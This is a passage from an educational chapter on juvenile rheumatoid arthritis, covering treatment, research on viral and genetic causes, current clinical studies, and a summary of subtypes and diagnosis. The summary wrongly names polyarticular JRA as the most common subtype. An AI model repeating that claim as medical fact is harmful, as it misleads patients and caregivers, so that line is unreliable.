childs pain and enable him or her to lead a life as normal as possible and; 2) secondly, to prevent any permanent and irreversible damage. Treatment for JRA includes physical therapy as well as medicine. Physical therapy is used to keep the joints flexible, which makes them less stiff and painful. Swimming, certain form of aerobics, stretching exercises and other physical activities that a therapist suggests can be a major help in the fight against JRA. Doctors and therapists may also suggest splints and other devices to ensure proper bone growth, a major concern in juvenile rheumatoid arthritis. Shoe lifts or inserts may be advised for children with unequal legs. Increased intake of vitamin D and calcium is also advised to the patients. Massages, hot bathes and acupuncture are thought to temporarily relieve the pain and provide some comfort to the youngsters. Medication is prescribed according to the intensity of the disease and the sub type. Research JRA research is being focused on the causes, prevention and treatment of the disease. While research so far has not been able to specify any particular causes of JRA, new advances in research show both genetic and environmental factors such as viruses and bacteria are responsible for causing the disease. Recent research suggests that JRA is associated with a virus called human intracisternal A-type particle, or HIAP.  [10]  Antibodies against this virus have been found in a high percentage among patients of JRA. HIAP technology is now being used to develop diagnostic tests and treatment for the disease. For the genetic part of the possible causes, the human leukocyte antigen (HLA) haplotype gene is thought to determine the sub type of JRA in the patient. The National Institute of Arthritis and Musculoskeletal and Skin Diseases (NIAMS) has set up a research registry for families with two or more siblings with JRA.  [11]  The purpose of this registry is to study sibling pairs a nd focus on the genes that seem susceptible to the disease. The aim is to eventually use gene therapy and other gene treatment to treat such disorders. The Current Situation For quite some time now JRA has been considered to be an autoimmune disease which means that the bodys immune system starts producing such antibodies which attack healthy tissues of the body resulting in inflammation and tissue damage. Recent research has now shown that not all cases of JRA are autoimmune, some are caused by auto-inflammatory disorders. In such a disorder antibodies are not involved, rather white blood cells, that attack harmful substances in the body malfunction and cause inflammation for unknown reasons. Auto-inflammatory disorders cause fever and rash. There are still no known ways of preventing JRA. Scientists and doctors are always searching for new and better treatments for JRA-affected children which are more effective and have fewer side effects. In addition to research, clinical trials and controlled environment case studies can help understand many new aspects of the disease and the treatment. Anyone suffering from JRA can voluntarily become a part of such clinical trials and case studies. Areas of current research for JRA include the following:  [12]   Long-term effects of the use of the drugs methotrexate and corticosteroid. Causes of sleep problems among the children suffering from JRA. Causes and treatment of potential anemia in the patients. Effectiveness of calcium supplementation in increasing bone density of the patients. Long-term impacts of the recurrent pain in children. How exactly interleukin, a chemical involved in inflammation, affects the growth of new blood vessels in the joint tissues and causes the said tissues to overgrow. Comparison of: 1) the effects of intravenous methylprednisolone, a corticosteroid medicine and intravenous cyclophosphamide that suppresses the immune system, and 2) the effects of using intravenous methylprednisolone alone. Analysis This chapter covered the distinguishing characteristics, techniques in detection, and advances in research for JRA. It is important to know that joint pain and stiffness is evidently not just a problem characteristic of grandparents. Juvenile rheumatoid arthritis is a joint disorder that affects children below the age of sixteen. It is a chronic disease and lasts for a long period of time with remissions and flare ups. There are three major subtypes of JRA: 1) oligoarticular JRA, which involves only a few joints, 2) polyarticular JRA involving five or more joints, and 3) systemic JRA in addition to arthritis symptoms also typically causes a fever and a rash and in extreme cases affects internal organs like heart, lungs and kidneys. More young girls than boys are affected by the first two subtypes while boys and girls are equally likely to develop the third, the rarest kind. Polyarticular JRA is the most common subtype but also the least severe. Clear-cut evidence on what exactly causes JRA is nonexistent. However, JRA is known to be an autoimmune disorder which means that the bodys immune system starts attacking healthy body tissues of children. The disease is thought to have both genetic and environmental factors as the root causes. Symptoms differ from patient to patient and from subtype to subtype. For adults, rheumatoid arthritis is usually a lifetime disease, but more than half of the JRA affected children grow out of it. Presence of rheumatoid factor in the blood of the child determines the likelihood of the child to carry the disease into adulthood. JRA can affect the physical appearance of a child and the course of his or her daily life. This can lead to an emotional burden and stress which if not handled properly can further aggravate the problem. Different screening techniques are used to diagnose the disease. First, the doctor notes the medical history from the patient and the parents. This is usually followed by a detailed physical examination of the child, which is considered a very crucial step of the diagnosis process. Some laboratory tests are run to rule out other possible diseases with similar symptoms such as viral and bacterial infections, cancer, fractures and injuries. These tests include complete blood count, X-rays, imaging tests, and bone scans. Some laboratory tests done to determine the level of inflammation and the possible complications of the disease include the erythrocyte sedimentation rate test, the antinuclear antibody test, urine analysis, arthrocentesis, hematocrit and white blood cell count. After the disease has been diagnosed, the treatment begins. There is no permanent cure of the disease. The treatment focuses on controlling the symptoms and preventing permanent damage. Recent research is focusi ng on discovering the genes which seem to determine JRA or its sub types so that they can be used in gene therapy and treatment. Sibling-pairs are being studies to discover patterns. Technology is being used to fight human intracisternal A-type particle HIAP, a virus antibodies against which have been found present in majority of the JRA patients under study. It has been found that many cases of JRA are not because of autoimmune disorders, but rather they are caused by auto-inflammatory disorders. This is when the white blood cells malfunction and cause inflammation. More recent research facets include the study of long-term effects of certain drugs on children, causes and treatments of sleep disorders and anemia and effectiveness of calcium supplementation on bone density. The aim of research and available treatments remain to make the quality of life of patients and caregivers better and to enable them to lead a life as normal as possible.